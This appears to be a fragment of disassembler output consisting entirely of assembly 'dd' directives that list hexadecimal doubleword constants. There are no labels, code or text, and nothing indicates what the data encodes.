		dd 1016A725h, 0A2777Ah,	8EA13EC1h, 3604A62h, 0D3208B00h
		dd 3BE387BBh, 5B482C46h, 0C4C59666h, 0C6BAF80h,	41001A23h
		dd 2982FB59h, 20BA4E14h, 0AD3F095Bh, 1519DA00h,	0C886C289h
		dd 0B7010047h, 0B3904227h, 0F9E85005h, 33162A9Bh, 5461C988h
		dd 0C7057h, 0DE3E54F4h,	0D62D55C2h, 0C163A30Fh,	113160EDh
		dd 4B186637h, 41628B5Fh, 0BAAF45B9h, 7E0F3579h,	34B9BDC3h
		dd 9036DD90h, 63404EB4h, 0AD3158h, 64CB702Ch, 8199BC4Dh
		dd 8F862301h, 5B53D983h, 9D1EE9C4h, 9D95C0E6h, 8CC1721Ah
		dd 660ECDDFh, 8EC8F083h, 894D2F8Bh, 60018359h, 158D9533h
		dd 85C6B173h, 89EC67F5h, 0C0277CB9h, 4B6CE809h,	0CA39B8A2h
		dd 0D559F561h, 0AABB4181h, 78062916h, 4BF75BF3h, 79C054B3h
		dd 580005BCh, 40E11133h, 1237C781h, 0E3345E51h,	0BB560118h
		dd 6A70D36Dh, 899BBD2Ah, 0A40073D8h, 7C12D6CBh,	0F681229Bh
		dd 3C32A61Ch, 806E2077h, 2AFF599Dh, 0D6CABE37h,	0D2091646h
		dd 0B17D61B3h, 0A62BFEF5h, 301AB2FCh, 10004C39h, 260B08F4h
		dd 4A4DBD29h, 0C57CED35h, 0DAEBB7B3h, 25A6D37Ch, 429E170Eh
		dd 0EAF27BC4h, 0B508C0E3h, 295007A9h, 2AF12585h, 4228BD79h
		dd 0CAD5C73Fh, 0F5BDF9C4h, 840256B8h, 0B1668E7Dh, 94BA57F5h
		dd 0F72355Fh, 0EFC9329Fh, 7DA70871h, 56091013h,	891929BFh
		dd 25427CA4h, 0DD8AB255h, 0EEB47DF8h, 0D8EAFB25h, 0B017E3CEh
		dd 67EDD5A3h, 57359585h, 75B2EDh, 0A6275BB6h, 1F8E7D7h
		dd 0CD6BBAE3h, 3A06F31Ah, 634CAAE1h, 0FEFC8CD8h, 82D19A95h
		dd 56D4C07Fh, 3D8951A6h, 0B8EC35h, 7D7EBD85h, 0C6B7C4F0h
		dd 0F7EB811Dh, 890B74C2h, 39E9579Dh, 36203A96h,	7042AA63h
		dd 289700DBh, 3453160h,	0BF725750h, 711F104h, 6EBA965Bh
		dd 35E45BC1h, 92915D6Ch, 2FDCDAC9h, 5AF17C4Bh, 97794C5Fh
		dd 2DFEF65Ch, 6BD3A9C4h, 19181A59h, 0E6C86F16h,	4B6610AFh
		dd 0D30A3096h, 3A0014A9h, 0DEA0FE58h, 91040Ch, 0FF107D5Eh
		dd 0CD36B090h, 2DD98948h, 0A64ED30Bh, 0B8DF2525h, 9DD52494h
		dd 81503156h, 87ED2572h, 6212D065h, 0FAEDF3FDh,	2F001146h
		dd 8FB77926h, 1215E72Ah, 0BC4F0CD7h, 0B400AA5Ch, 5D1E76BBh
		dd 0D89806A4h, 791D6525h, 0FE853F5Ch, 0EB716ED4h, 3CA257CBh
		dd 2D3AF177h, 8A60805Ch, 0E8D3014Bh, 6D9800EEh,	243DCD34h
		dd 0D01650B7h, 0BAF8E082h, 0AF8EE917h, 9E9B7213h, 0A86AE980h
		dd 1724482Fh, 61097393h, 0E6E47502h, 9964D78Dh,	0FD4A14B9h
		dd 5BE8ECh, 8EAA7786h, 66EFC155h, 0E6D2BF0Ch, 4AC00A90h
		dd 1E9CF8C8h, 0DAAF6DF9h, 2F4B3B48h, 0F481B65Bh, 0C6F488BEh
		dd 26EBBE5Bh, 3713D0DCh, 6FEAEE1Fh, 0D9ED5ABBh,	0C810F83h
		dd 0FF99214Fh, 0DFC2F621h, 2BF0E8F3h, 1B8401A4h, 0F5A9D64h
		dd 5B923CBFh, 8B905E90h, 0ED3DB5D9h, 0E4DCE00h,	1D6A6840h
		dd 270F3021h, 3B78C053h, 0DFF9BF6Ah, 80632B8Bh,	0CA067212h
		dd 0BD95097Ah, 4972CF4Eh, 3FD863B3h, 1A9D4877h,	71AB626Eh
		dd 0C97B51AAh, 0CF9D7658h, 935F6002h, 4F021C50h, 4A947720h
		dd 0D11BE1E2h, 0E0D6A62Eh, 893C76h, 33F1AC7Bh, 0F5C5ED78h
		dd 44801497h, 292F5298h, 5F2DC8B5h, 4F024D6Ah, 1A90CFBCh
		dd 0F50F5522h, 936283D5h, 0F38B6009h, 904E296Ch, 0FE9C69DBh
		dd 0D949A507h, 0CF90E0ADh, 2955602h, 5D4169C6h,	5EB762D2h
		dd 0F81FDEA9h, 0B08E34C1h, 0FE2C7ED1h, 0E9161F02h, 651CDDE6h
		dd 0F8F94149h, 86B002C0h, 0D7B2A24Eh, 293F16C6h, 0FE200474h
		dd 0A6BB69B8h, 3430A484h, 138DE00Bh, 0D7339018h, 49BF60D0h
		dd 6B3B39CBh, 0F6201F50h, 0CD27785Fh, 6091C28Ch, 0C4675h
		dd 0FBABF181h, 3EBE3CD4h, 2D717F0Bh, 0DC997461h, 4A241846h
		dd 0C96C1FAFh, 1A7A5F52h
		dd 0D823F397h, 9F02D419h, 5251CB2Bh, 8976E2CAh,	553ADDF3h
		dd 0E16B8957h, 57F66A65h, 0C0C011CDh, 5883679Fh, 824B5731h
		dd 0CEE0D910h, 5BBF0F11h, 0F47ED1FDh, 0BA4EBE2Bh, 75D4AFC9h
		dd 93531677h, 59CCFBC4h, 183EF081h, 5A6F1026h, 96979D8Dh
		dd 894B4472h, 76A179F7h, 9C7CF4B7h, 9D183BB0h, 70E6BDA1h
		dd 0FAF100B5h, 0BD71E417h, 0F54A4B5Eh, 89083205h, 23F030ABh
		dd 1A5BE9BDh, 8B72E1A3h, 2A3C6C41h, 0A7DF0420h,	796E13EBh
		dd 20C0F82Fh, 0C35F4B35h, 0ADCBBFA6h, 6BA16D8h,	760D9A95h
		dd 12152659h, 9A2F230h,	7866EB80h, 0FE8A03A1h, 0F56C82Bh
		dd 5D5221E5h, 8B678719h, 3D922BD1h, 0B794A712h,	0AD601408h
		dd 9819D839h, 6AFE7425h, 4C44F681h, 8B02FFC6h, 70091F8Dh
		dd 0C5C0B7AEh, 0B98825A5h, 619C2E4Dh, 7E700D59h, 0AD5AB826h
		dd 1C9466FCh, 0E496B261h, 4B02CBBDh, 99573039h,	16140ECEh
		dd 6B23AFA6h, 16175F5Eh, 88EABD88h, 30E48013h, 33531708h
		dd 4365A207h, 0ECB09AD7h, 97C1913h, 93F1BDDh, 5B120AD9h
		dd 33CA29BBh, 935400DEh, 0AA59DEF7h, 0BC6D0450h, 0BD85E439h
		dd 4ED090BEh, 0CA16EA5h, 9ED2C9Dh, 0AC7BC37Dh, 0ED9B8A05h
		dd 0B080C79Eh, 0F4CDF5F7h, 0D1075700h, 45BB3C80h, 4F2C12A1h
		dd 89F36Ah, 0A024983Fh,	2EF1784h, 0FC396437h, 0C05EB12Ch
		dd 4EFFA66Ch, 0AC26F9CDh, 349B31Dh, 0EFFC4265h,	2D5A2E98h
		dd 0AD969524h, 0A74DB100h, 41D4B959h, 858D3F10h, 72EE765h
		dd 4B9D33CCh, 2F28B2Eh,	0B8083628h, 4714DFh, 9E241E3Fh
		dd 35C364B1h, 39A3775Eh, 17EB8100h, 5B1957A7h, 7D85E295h
		dd 0B2001ABDh, 0F0340A06h, 25BB0475h, 0F808E667h, 0DB312D27h
		dd 3D246930h, 4BBF011Ah, 77F68F17h, 894BE966h, 4A7C8BA3h
		dd 4F7CF7B4h, 0A79E4F9Ah, 7B7D6D10h, 0B8E07002h, 60C04B6Bh
		dd 0BB1B504h, 0DF749EF1h, 46D6EE74h, 0C980001Ah, 0E25B53FFh
		dd 9B32F64h, 0B15CC05Eh, 6EC00E20h, 0CA40A001h,	0ABAB4494h
		dd 715FAA4Bh, 32D80002h, 81FF87F7h, 0DC1D4909h,	469B795Ch
		dd 9F9E2F97h, 8C700BDCh, 2F021CA0h, 0F1F702C5h,	4000BBDEh
		dd 897301EBh, 2F4EC59Dh, 57CF17F9h, 824956FFh, 0B5575FB6h
		dd 811D91AFh, 22C9ADBCh, 0CACC5FF1h, 9438EDFEh,	0E6E1FF16h
		dd 63B4E002h, 9A27C60h,	0B576F0DFh, 0D945A279h,	4AECD1EDh
		dd 0C8A73607h, 3FD2202Eh, 10EA7646h, 13293B12h,	38BB2439h
		dd 0EF9FB7E4h, 519260EFh, 72253DBBh, 0B510D7F1h, 110E0C41h
		dd 9293684h, 385E56D5h,	0AC61509Dh, 0EFC525B4h,	0CC503C11h
		dd 50E27A32h, 512887h, 0B768CF81h, 605B523Dh, 0B078AEBBh
		dd 0EA8A0267h, 0B6B3799Ah, 40027066h, 993B2CDEh, 60CC6086h
		dd 86F9BD89h, 8A15F13h,	31800DD9h, 0FA8EC9E1h, 0FB01A440h
		dd 71E3C52Fh, 43A7EAEh,	0BDDC8A02h, 848A7AC7h, 0A35261B6h
		dd 0E4F04EECh, 8096971Bh, 4D418BCh, 0FF49CA6h, 0F8F9D88Ch
		dd 0FF3B8B9Fh, 240406A2h, 5B00F846h, 0EBFFD1ACh, 3521D3A6h
		dd 838083BFh, 0AC848118h, 200EF2CFh, 0C4165A41h, 5F8E5400h
		dd 2B9308CCh, 95AD7CBFh, 9E265890h, 3F5E8303h, 0E8A13368h
		dd 12B8C973h, 0B450C58Ah, 0FE0BBBE4h, 7644D180h, 8A703B3Dh
		dd 0BF60E754h, 793EC00Eh, 7033E115h, 8DCECA00h,	0AD062F26h
		dd 0DE388E98h, 0F242CA5Bh, 7D58D88Ah, 1A017E37h, 0EBEE2F9Eh
		dd 0EFCB06Eh, 1DDD3BDh,	0A498BF70h, 4BDD2A93h, 0BFB4F426h
		dd 98012298h, 41124192h, 6ED91791h, 15A0DB8Ah, 0F50BD617h
		dd 77312E66h, 0E891E0EBh, 0C5DE2B01h, 0F35A0C80h, 6109E7C6h
		dd 0DF7B1EECh, 64441C15h, 1BB96BC1h, 0D28EB26Bh, 5280889Ah
		dd 0F9891A43h, 8E922h, 5A11EAEBh, 5F61B8C6h, 60D98B04h
		dd 0E485EC8Ah, 57DAA862h, 16C456CDh, 0B3E37F60h, 0F209514Bh
		dd 8024D15Fh, 0F0689F5h, 0E59F098Ah, 0D9BF89C5h, 8F0223B2h
		dd 0DF092EB1h, 11F4B118h, 0C8FDBC00h, 30FE6864h, 77B22802h
		dd 4460390h, 23A19D31h,	0AA81395Fh, 0B1362434h,	7905FFF0h
		dd 7012947Eh, 0F5F31FB3h, 681C3D49h, 0AE37529Ch, 9F638480h
		dd 882AEF28h, 470EA5ABh, 80DE7DD4h, 541A94C7h, 0E29C00F4h
		dd 177FC4CFh, 8E17DB40h, 7EAE858Dh, 0ACF60032h,	8D1ABFE2h
		dd 0A27560BAh, 0E19D03F9h, 0F7AC085Ah, 0BAA0608Fh, 8D0F1F01h
		dd 5549B096h, 0C5B7A5E6h, 32440242h, 0E4FD1ECBh, 0B1E85CC2h
		dd 53B9D2C0h, 0D0FBE6ADh, 810F74CEh, 0A4E8C5F7h, 22DB5F2Ch
		dd 0BDC51488h, 0FF82A0h, 0A4EF80A0h, 6D9D2361h,	39BA2E4Ah
		dd 0EB282B8Eh, 57C2E16Fh, 52EBD14Dh, 7D072516h,	0F649695Ch
		dd 737972EAh, 98BDE700h, 61492312h, 0E58DE83Fh,	2EE82F1Ah
		dd 0B865EDD3h, 485A015Bh, 0BFBACFD8h, 2F4C2562h, 0FE00C3Ah
		dd 93B6FAB7h, 8AB20EDCh, 92407E77h, 28E679C7h, 4E215897h
		dd 0D22CBB26h, 0CE988A62h, 0C91DD748h, 37404FD4h, 231C84C7h
		dd 446B0073h, 0E2912059h, 2391E932h, 5CF0096Bh,	7900F4FFh
		dd 7754BB62h, 0B67EC98h, 0FE8AE3C6h, 0BE614198h, 50399000h
		dd 0DFCB7942h, 265C09F1h, 7A021A58h, 5B0319A9h,	1E54BF09h
		dd 0AE5474ABh, 6A3E88DDh, 0DF480457h, 0A1BCBB54h, 0ED54FD4Eh
		dd 25FE01F8h, 30703FAFh, 62F90E5Ah, 0A3B315BCh,	96BAD805h
		dd 562F33FCh, 0B10BE754h, 0F0ADA337h, 96ACEC61h, 57DCAB92h
		dd 961B0701h, 0AF8599BBh, 0B204EBD7h, 0F50B1609h, 71C9835Ch
		dd 409C1F38h, 0BBAB919Bh, 0F81C55FFh, 0A88969E1h, 0BE66D1ECh
		dd 0B2F7F64Ah, 0E8E43314h, 20BFC059h, 9D64F126h, 0FB5B3D1Ah
		dd 35181959h, 0D46A0D00h, 0BB6684D6h, 855C4E04h, 82DCDB56h
		dd 60226970h, 4E64EBD8h, 0AF7485ACh, 128AE62Ah,	29B505D2h
		dd 0CDE3EE1Dh, 6B243100h, 6130D387h, 64F34DB7h,	0D8F26418h
		dd 15B58905h, 8977EC26h, 0E1264D6Ah, 0C05B9946h, 0C9171B17h
		dd 13EE30F0h, 0BBD053F3h, 4F8F392Ah, 0B4DCD60h,	8FA691B5h
		dd 0EAAD5D2Dh, 0F8D1758Fh, 211BDFA5h, 667D60DAh, 51571CA6h
		dd 5096435Bh, 1A090B7h,	94A2D9Dh, 1CBCADF9h, 0C20B048Ch
		dd 0BDEE8780h, 5E8E4CCDh, 5DFC7D92h, 0FD527EDBh, 0B04EB94Eh
		dd 4422E78Ah, 4A8EEEC8h, 7E1E0B7Dh, 509D86C6h, 6129402Eh
		dd 80727995h, 4AB636FBh, 0EC07647Ch, 654D2F93h,	69433760h
		dd 0A6131683h, 0DAC80253h, 91DD5F5Bh, 215052Ah,	8DB2F790h
		dd 50B96557h, 8B00CC30h, 117FEE3Bh, 0CBFD115h, 4D2A125Ch
		dd 0E5EE1C4h, 15BCC8EDh, 0F2093293h, 5905FBB4h,	0B8D1814h
		dd 21059501h, 0DD27E352h, 91B94E0Fh, 0E1D380DFh, 2EE53CF2h
		dd 0CFE33B04h, 0AEE87C9Fh, 0AE9833A2h, 0D04E7BD7h, 706C878Dh
		dd 92039980h, 7313BA1Bh, 60BF3C50h, 7B66E854h, 56BA834Fh
		dd 17D9088Fh, 0A4EE5A30h, 8F614E59h, 0C8DA4A7Fh, 0FDBB1180h
		dd 4D4AA6BDh, 4744DD13h, 82181D29h, 61811BFDh, 0C26E32E5h
		dd 2A0CF80Bh, 0AFE5D9C5h, 0FCF8513Dh, 41533A61h, 0D27AEFh
		dd 0FCA75A28h, 2D088602h, 12F7509Dh, 46C06209h,	14090536h
		dd 0FE499ADAh, 0A87FB5B1h, 0AEFC93B1h, 19717FD4h, 987ABEA8h
		dd 0B1BD2AFCh, 0D83E43BCh, 8B0810C0h, 0FAC20920h, 57EE302Eh
		dd 8CE1E94Dh, 0B92AF668h, 8F584A8h, 0FE934CE8h,	0C5F21367h
		dd 17F291Ah, 5F0A3A1Ah,	5B36Fh,	3EAA478Bh, 1AB5AD4h, 66E6DF4Ah
		dd 26903B99h, 8036F020h, 25C13CEBh, 40E8BB02h, 2FC01AF1h
		dd 98BD0DCDh
		dd 2D9D2906h, 49D33069h, 0C225F0A4h, 964F5DF9h,	98A89D61h
		dd 2009673h, 3D88CD41h,	0DCFBD2F1h, 58091E8Bh, 56FF4CA2h
		dd 15509D3h, 66C0615Ch,	0F63C35h, 0D487162Fh, 0FBCB253Dh
		dd 0AE7D6412h, 9788F8F2h, 4995BF81h, 58BE68A0h,	9304EC5Eh
		dd 0C7E0B2F6h, 5302C812h, 8BFCE6F2h, 5FE883FAh,	0BEBBF8F5h
		dd 0CD114CEAh, 9273042Fh, 0C7B75478h, 5085CA38h, 0BBD56DCBh
		dd 0D3FF9B12h, 0D27DDAFAh, 689AD771h, 1D2ADFF4h, 8738AF0Bh
		dd 0A92B66CFh, 0AFF10104h, 0FF38B538h, 8E5ADB05h, 99B52229h
		dd 0CFB9571Fh, 0D1A16B33h, 56834738h, 0E98D5F53h, 41871374h
		dd 839B1735h, 632FC0DFh, 983F4EEDh, 6EB28161h, 8CFF1946h
		dd 5F127BF3h, 25D4F65Bh, 90B3ECF5h, 974178ADh, 60ED90BAh
		dd 0B2AFFAC5h, 0CC312CCEh, 5E370B25h, 0CC12F45Eh, 9E346022h
		dd 718DF6BFh, 0F9ABBF02h, 589AAFF3h, 0F2895A6Ah, 67BA4EF4h
		dd 47795933h, 120DED08h, 78C1ABB0h, 326C70E6h, 0ED646B80h
		dd 1F04CB39h, 71E4444Bh, 2A981C1h, 1371322Fh, 40F5D62Bh
		dd 7D4C118h, 7845440Bh,	89DF023Fh, 5176290Bh, 0D7D5DFE7h
		dd 932388AFh, 8904F343h, 0BA15799Dh, 1A41C37h, 85201236h
		dd 0D3801634h, 4F4CE98Fh, 2B5445EAh, 90E3EAC8h,	881950Ch
		dd 30BED157h, 0BF00DB4Ah, 0AD58DF9Ch, 1CEB3F4Dh, 7147A1A8h
		dd 0D8204585h, 55324C50h, 0C6E18447h, 0BA1ED71Ch, 5A095810h
		dd 0B500E4F3h, 0CF5B1ECCh, 0F501EA27h, 73F1EC42h, 726074D1h
		dd 79A597F7h, 0C008FD33h, 6D382470h, 4E4CFED4h,	0BAB3D822h
		dd 3359891Eh, 8CCD4664h, 5FF54E7Bh, 0B5F43AA9h,	4B164163h
		dd 669E8C1Bh, 8197BB13h, 9C38AEEh, 7419E59Dh, 89F95036h
		dd 788A9556h, 30A22B5Bh, 25AC5E84h, 0D2FE3AAh, 331841BDh
		dd 0FD067900h, 0B1E25Ah, 0DDBAA568h, 0C251DB39h, 0B6EAFE00h
		dd 0AD8486D6h, 0A7235BB9h, 0D488B015h, 9667033Ch, 0AE2D7DDDh
		dd 92FCFC2Fh, 56D97DD9h, 10E9D6A5h, 0FC5F132Ah,	0E6921B9Bh
		dd 89833DBAh, 0C298CB80h, 0BECF7571h, 0E0005B4Ah, 0F2EAD2BBh
		dd 0F8294A57h, 7DE192F9h, 0C0ACDE7Ah, 0A0A62612h, 9C0C04B6h
		dd 0BC75FB9Ah, 42F5F276h, 0CC135DC5h, 2B0B81B1h, 9831F2D8h
		dd 0B2175F48h, 989AD298h, 0FB43A981h, 0F7BD6ABCh, 3B678D4Bh
		dd 0FAF514B2h, 0F100D46Ah, 0EE9D9042h, 0EA0412E9h, 0FB8BAFB2h
		dd 86EEAh, 5F6FE686h, 0A06EF0E7h, 95150D9Ch, 23C460D9h
		dd 11AF8B4Fh, 1164BB77h, 35917781h, 0CFCCE93Ah,	0E75273BDh
		dd 6B109EB9h, 84E8B761h, 0B874F380h, 25ECA2CFh,	25C98052h
		dd 7A4A6F74h, 0A1BD28AFh, 0B2D8045Bh, 60090025h, 2A2811C8h
		dd 0F495DF8Ah, 0A6D76F97h, 80BDE03Dh, 880997F8h, 17C061CDh
		dd 2B00DCBh, 7A9A75ADh,	11FF23C5h, 8B4480ECh, 0B4D239F8h
		dd 0FD8A92A4h, 8BAF59F1h, 0F1BD7D81h, 0B6A15B0Fh, 0DDAAEB16h
		dd 0A80B69BCh, 0E21F8A7h, 516F641Dh, 0A9E4DBC0h, 5B2F4D46h
		dd 4B809050h, 117C002Dh, 0C7E00554h, 93B86997h,	0EA002E99h
		dd 49EE3D7Fh, 5CD4B51Ch, 2A5B957Ch, 5707BA5h, 0BA6A49ACh
		dd 0B1E746E6h, 0FCF96DA7h, 2912D1F7h, 0CF20957h, 0A800FC8h
		dd 0FBB6D970h, 80380161h, 6774E65Dh, 33FA61DEh,	6CDD00C0h
		dd 1B4EB1A8h, 0DFBE0076h, 5808DB4Ah, 890509DCh,	0E468BA8Eh
		dd 5FCB31ABh, 1B89285Bh, 0F416DE8Bh, 5EF204F1h,	0A4B36315h
		dd 0F8BB00DFh, 76483DD2h, 21EC9209h, 0F95ED927h, 41646D6h
		dd 31B9E0B7h, 64495A85h, 0B5EFD589h, 13ECDDCBh,	7C90C2B5h
		dd 87F9C099h, 690029C1h, 6D712079h, 9796E813h, 9DFB81Ah
		dd 0C99C5953h, 8A50DBD3h, 580125AEh, 0EE090BD6h, 0BC847014h
		dd 7000F677h, 6FF1D0F5h, 272BD3BBh, 995D7E23h, 4CA4D725h
		dd 9D030566h, 89D64569h, 0ADC18206h, 74D18EAh, 276019C4h
		dd 58139D82h, 3416715Bh, 0B43DDCBFh, 5C0FB9Dh, 0CFE07Dh
		dd 0F08E1FA4h, 0B601B44Fh, 97CE8160h, 0B93E6AF9h, 71848961h
		dd 0C2602521h, 0C309EF81h, 7D167994h, 3A70D818h, 39F28C03h
		dd 0BAA8EF82h, 0D8D95F94h, 9AD874Ah, 70E5D397h,	0FA0B831Ah
		dd 5EE43CE3h, 1D46D6BEh, 0A20ADC00h, 27551C16h,	935A3073h
		dd 819DAFC0h, 10F99512h, 90BE56E0h, 61AF032Bh, 5800F59h
		dd 2E0F257Ch, 0A95D1743h, 0FDD6450h, 0E3BD284Ah, 38A83D20h
		dd 5F048D31h, 0AB166B35h, 0FBB01C8h, 70D96919h,	0DACBC232h
		dd 90970444h, 4BFB3DFh,	58E88FE5h, 2C5EFF8h, 0EF8276A8h
		dd 7A75CA04h, 0CD9C0148h, 25C6D135h, 0D8B83A06h, 5AF78A04h
		dd 0D24EBC61h, 0BB9019C0h, 0E7F409C0h, 54AB5017h, 805CB77Fh
		dd 8B1336DEh, 0C295AC90h, 0D35F4281h, 3050D156h, 9D0B198Dh
		dd 0F34FBFFDh, 938B1030h, 0E0DCB04h, 0F97C6109h, 0BCCD1FDCh
		dd 0FE38466h, 0E58BAE49h, 41DAB0A5h, 4CE32B5Ah,	0B4641089h
		dd 9283497Bh, 4997120h,	0BC446FF3h, 0ABD6EB04h,	5ADB48CCh
		dd 2C776F1Bh, 2109115Eh, 0C4037932h, 99265850h,	89B0A729h
		dd 0BDD7043Dh, 0C480181h, 2B317FCEh, 884F938Ah,	8A009DD3h
		dd 35C57108h, 9D5101D9h, 187263F3h, 0F250CF3Eh,	848C4BFDh
		dd 0EC27A9DCh, 0EC270271h, 0D3329C64h, 5BEBD85Ch, 6A42512Eh
		dd 4A5EB4C0h, 0F571550h, 0B682FC87h, 0C6775BACh, 1F7F006Bh
		dd 0D5EFE5DFh, 470E4479h, 0C12E935Dh, 0C2BAA86Fh, 2538E32Fh
		dd 5446715Fh, 749776E2h, 0F000FEDEh, 0BFE69D18h, 568896CAh
		dd 15E2C726h, 0A09E3C30h, 9720D69Fh, 0F4FEDF74h, 694800C1h
		dd 2FDD286Ah, 619D0D77h, 51001C87h, 355B9D29h, 274E52C6h
		dd 8BDC486h, 0FF4A4B80h, 0B8A6E6Ah, 4787CF3Bh, 9925D1DCh
		dd 3DD801E7h, 38F3BD0Eh, 0C4371852h, 0E62AFFFFh, 0D59F41C0h
		dd 47172F96h, 973A8E6Eh, 0B5296C09h, 0C240434Ah, 0F1B52DCDh
		dd 1FB56BB7h, 628B5501h, 302F34E5h, 0B59D0B62h,	0BD2FED9Ch
		dd 706E0192h, 252EA93Dh, 48F77B94h, 87F85BB2h, 0CDA1E895h
		dd 37B9F02h, 3129D0h, 0EC37E7ACh, 5396E994h, 0F78112BFh
		dd 0C69D6C72h, 2FE007F7h, 40B1EBD0h, 0BF4CCE5Bh, 0D6FC401h
		dd 10BDAF8Ch, 50C55FE1h, 0BF969170h, 0D99DB96Ch, 666D2537h
		dd 0E6631564h, 23F380F8h, 7C58BA97h, 7D4BD473h,	242257CAh
		dd 9852917h, 0B7500A42h, 882A5EA1h, 0BB410482h,	0B5786A7Ch
		dd 938E4081h, 8AA0E851h, 0FFC9DD29h, 8B192556h,	89F4A55Fh
		dd 2B47F5FBh, 16B24FA6h, 58215630h, 0DB58D6E4h,	774984C8h
		dd 648B8F66h, 80343040h, 7BA3D32Dh, 13978896h, 85C33859h
		dd 3E6FAEh, 0F9DA0D25h,	12B2EFACh, 0F3414662h, 0B6B4C38h
		dd 90C60595h, 0B52A09D7h, 818077E7h, 9A5A75E7h,	4AF3F85Fh
		dd 919BAAF2h, 0C18BC6C3h, 0C7358009h, 0D64374F9h, 0A7001646h
		dd 8AFC322Ch, 0DC9590DAh, 50DEC16Eh, 33B2353h, 1ADA9407h
		dd 0E32FC89Ah, 905F1723h, 28DBBBF8h, 0C033AAD3h, 0AA9280F0h
		dd 16A817DBh, 4F34BEBAh, 920073A2h, 77B88C68h, 7E0FE41Ch
		dd 406D84C6h, 0C92AD151h, 0C31B05C1h, 425DBD0Bh, 6A5F5BCBh
		dd 726A5B7Fh, 0EA203854h, 6FCF5481h, 0C940ABDAh, 0EE402FA9h
		dd 99E09AEDh, 4B989B62h, 0EFF72490h, 25357F14h,	5B2D44FDh
		dd 8454DB05h, 2008892Eh, 6D93031Dh, 95139B5Fh, 0C7BE0024h
		dd 5022009Ch, 0BF09BA60h, 0D6567B79h, 0EEBE0428h, 0D2021F61h
		dd 0DD769D82h, 2708020Ah, 4A02DFBDh, 4622D243h,	0E101000Bh
		dd 0B43F5A50h, 0F81E16A6h
		dd 0EA855B28h, 0E4A2562Fh, 0D3DCBA07h, 0C87F9B37h, 0EB4D9E0h
		dd 5F5DF728h, 28DCAD3Ch, 0C9C001F4h, 57C16D3Fh,	3C03E04Ah
		dd 2420BF00h, 0BD317961h, 94709511h, 0AB2CEDB5h, 10EC583Fh
		dd 31CA5413h, 0D94029F2h, 6F2365EDh, 4BB5BCD1h,	7225A08Ah
		dd 2BE073D4h, 3E49242h,	0BD38D464h, 95B293F3h, 5B92487Fh
		dd 26A31F9h, 2298562h, 59D1D790h, 8BB10F00h, 5C1412Eh
		dd 3EE04623h, 5BF5EBB2h, 6E6E0821h, 1B10ECCh, 1AC63DF9h
		dd 5DD6ED7Fh, 608E43DFh, 9B7E0C33h, 0F107B7E0h,	8EE08061h
		dd 5D92E942h, 0B320721Ch, 85891340h, 311B80B5h,	344B418Dh
		dd 0FB3030FFh, 0CB00E583h, 0AB312E3Bh, 2739639Bh, 59C48DB1h
		dd 0EA838A00h, 154BDE59h, 0CBA61693h, 0BC29BE82h, 99A8CC29h
		dd 0A8F05100h, 50C50CD5h, 21330BBBh, 0AEC24AFFh, 97E4C65Fh
		dd 4F36F32h, 67A9D073h,	0E0182DBDh, 42F38C1h, 9B1260F8h
		dd 849AF25Fh, 0F80923B1h, 0BF8F9B79h, 4710C5C7h, 31434ABAh
		dd 0B28A4AEh, 0C9901FA9h, 0A2BF1735h, 7534C9F9h, 0B47D0A32h
		dd 80950491h, 0BD61D2D0h, 9557886Bh, 5C002353h,	0EABC68A2h
		dd 1D093D3Ch, 751EC628h, 5F4A64C6h, 2C5FBF5h, 714BE408h
		dd 16683C8h, 0BA4332ACh, 2FCD26CBh, 881D7B48h, 0A38013E8h
		dd 8FF5E9CBh, 0B1DCB578h, 4F318A60h, 8CAE2E6Fh,	0CE509A8h
		dd 9869F35Eh, 146BAADh,	0A3A4A869h, 0E6F10B29h,	0B7048FE6h
		dd 0F58D09FFh, 390CA95h, 0A8AE82BBh, 1F86E27Dh,	806CF3E8h
		dd 0D7A7DBF7h, 620263EEh, 3977ABCDh, 0B920DD1Dh, 0BB15DF81h
		dd 0EEE22ACAh, 107E908h, 8501C82Bh, 935ECEB9h, 0EB53A244h
		dd 0FE2B381Ah, 0B090841h, 0FE4E037h, 66C16109h,	6C44C14Eh
		dd 0BDE28086h, 5BD465h,	21681DFDh, 7BD6F5C6h, 0E08C9325h
		dd 1CEF80A0h, 0C6CF811Ch, 1854AE9Bh, 0A497F8E0h, 6CCA238Eh
		dd 5965F01h, 6B8AEA9Ah,	89C161ACh, 2F13998Dh, 0DC3E814Bh
		dd 2EEF62E2h, 0C46C7E5Eh, 0F91D5AD5h, 0D54097CDh, 0EFC9BBF5h
		dd 0D8394B19h, 2409BF80h, 87F70B2h, 813D7C79h, 432D0777h
		dd 612FF98Bh, 4BB8185h,	0F37A2D8Dh, 7D6A8BC1h, 9013FC30h
		dd 0F862E400h, 0AB569254h, 0B52B1CA6h, 59B67221h, 2E85C040h
		dd 0DA2B6181h, 0C018C8E2h, 2AE61B9Eh, 0EF0281F6h, 1C2B6A5Ch
		dd 0ABC4FF23h, 0F162B92Ah, 2589EDFBh, 0A2132E08h, 8300B76Fh
		dd 5271075h, 33096D91h,	7CFCB414h, 2100DCB7h, 4731F214h
		dd 49C5B509h, 884A5E0Ah, 95015A75h, 0CA2D019Dh,	4CCCA85Fh
		dd 0FA894F7Bh, 185BDF49h, 0EEA9BD5h, 3B4782A1h,	6136C1A2h
		dd 2EB4E970h, 2D4132F4h, 40F89698h, 260405E1h, 98AE2629h
		dd 0BD1303DEh, 8BEF2AA5h, 865CF034h, 3E050032h,	81617C9Dh
		dd 277E07EBh, 2F89644Ah, 217D9C2Eh, 2D40B900h, 7BFDC153h
		dd 0B122FF0h, 8600F2B7h, 0BB6707CDh, 46DB7FBh, 0AA601D44h
		dd 0EF009A78h, 7131B470h, 9DFCD42Ch, 49D4C176h,	3A804E18h
		dd 0A0096590h, 687CBB04h, 75BA3C35h, 6F6AEB9Ah,	34C72705h
		dd 66CBAFFCh, 5EA1E6B5h, 291DA9E7h, 0AF171395h,	5B998Ch
		dd 8202E09Ah, 0C0589C2Ah, 797BA401h, 91DAF572h,	7841283Ah
		dd 8E1D7986h, 27DCD8B4h, 584648DCh, 8E809391h, 0C802F639h
		dd 7C7F0123h, 0FF06A34Bh, 0B8996DE1h, 5DE2006Ah, 6EB1C880h
		dd 66EC0327h, 1F4FBF7Ah, 0D7FE0EC9h, 0E8239D8Eh, 288A23CCh
		dd 4C519674h, 44DBFA14h, 0F3DDEA96h, 36B7282Fh,	51AF5E8Ah
		dd 3D55D2F3h, 0B6CE0081h, 0DA8EE952h, 0BD31601Fh, 21562D16h
		dd 11B13407h, 8D53BFC0h, 85224E2Bh, 0BF6EFFAEh,	0EB67B701h
